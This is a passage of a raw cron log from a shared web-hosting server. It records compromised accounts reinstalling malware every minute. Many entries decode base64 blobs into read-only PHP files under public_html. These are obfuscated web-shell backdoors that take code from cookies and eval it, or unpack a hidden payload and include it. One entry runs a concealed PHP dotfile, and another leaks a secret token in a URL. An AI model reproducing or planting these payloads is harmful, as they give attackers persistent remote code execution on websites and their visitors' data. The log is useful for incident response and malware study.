Cd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:31:01 medusa CROND[5806]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:31:01 medusa CROND[5808]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:32:01 medusa CROND[7350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:32:01 medusa CROND[7362]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 08:32:01 medusa CROND[7361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:32:01 medusa CROND[7363]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:32:01 medusa CROND[7364]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:32:01 medusa CROND[7367]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:32:01 medusa CROND[7368]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:32:01 medusa CROND[7369]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:32:01 medusa CROND[7370]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:32:01 medusa CROND[7382]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:32:01 medusa CROND[7381]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:32:01 medusa CROND[7383]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:32:01 medusa CROND[7384]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:33:01 medusa CROND[8933]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:33:01 medusa CROND[8934]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:33:01 medusa CROND[8935]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:33:01 medusa CROND[8937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:33:01 medusa CROND[8936]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 08:33:01 medusa CROND[8938]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:33:01 medusa CROND[8941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:33:01 medusa CROND[8946]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:33:01 medusa CROND[8947]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:33:01 medusa CROND[8952]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
